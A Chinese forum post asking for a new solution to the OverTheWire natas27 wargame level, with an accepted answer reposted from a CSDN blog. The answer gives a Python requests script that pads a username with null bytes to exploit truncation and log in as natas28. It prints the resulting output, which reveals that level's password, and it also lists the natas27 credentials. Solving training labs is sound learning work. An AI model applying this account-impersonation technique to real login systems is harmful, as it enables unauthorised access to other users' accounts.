以前的解法不能用了 求新解法
Overthewire natas27
2条回答 默认 最新
DaisyDragonD 2023-04-29 07:30关注import requests
import reusername = ‘natas27’
password = ‘PSO8xysPi00WKIiZZ6s6PtRmFy9cbxj3’
url = ‘http://%s.natas.labs.overthewire.org/’ % username
session = requests.Session()
response = session.post(url, data = {“username”: “natas28” + “\x00”*58 +“xxxx”, “password”: “11” },auth =(username,password))
print(response.text)
response = session.post(url, data = {“username”: “natas28” , “password”: “11” },auth =(username,password))
print(response.text)output:
natas27
Welcome natas28!
Here is your data:
Array ( [username] => natas28 [password] => skrwxciAe6Dnb0VfFDzDEHcCzQmv3Gd4 )
[Finished in 1.1s]
————————————————
版权声明:本文为CSDN博主「DaisyDragonD」的原创文章,遵循CC 4.0 BY-SA版权协议,转载请附上原文出处链接及本声明。
原文链接:https://blog.csdn.net/mengzh620/article/details/130342758本回答被题主选为最佳回答 , 对您是否有帮助呢?解决 无用评论 打赏 举报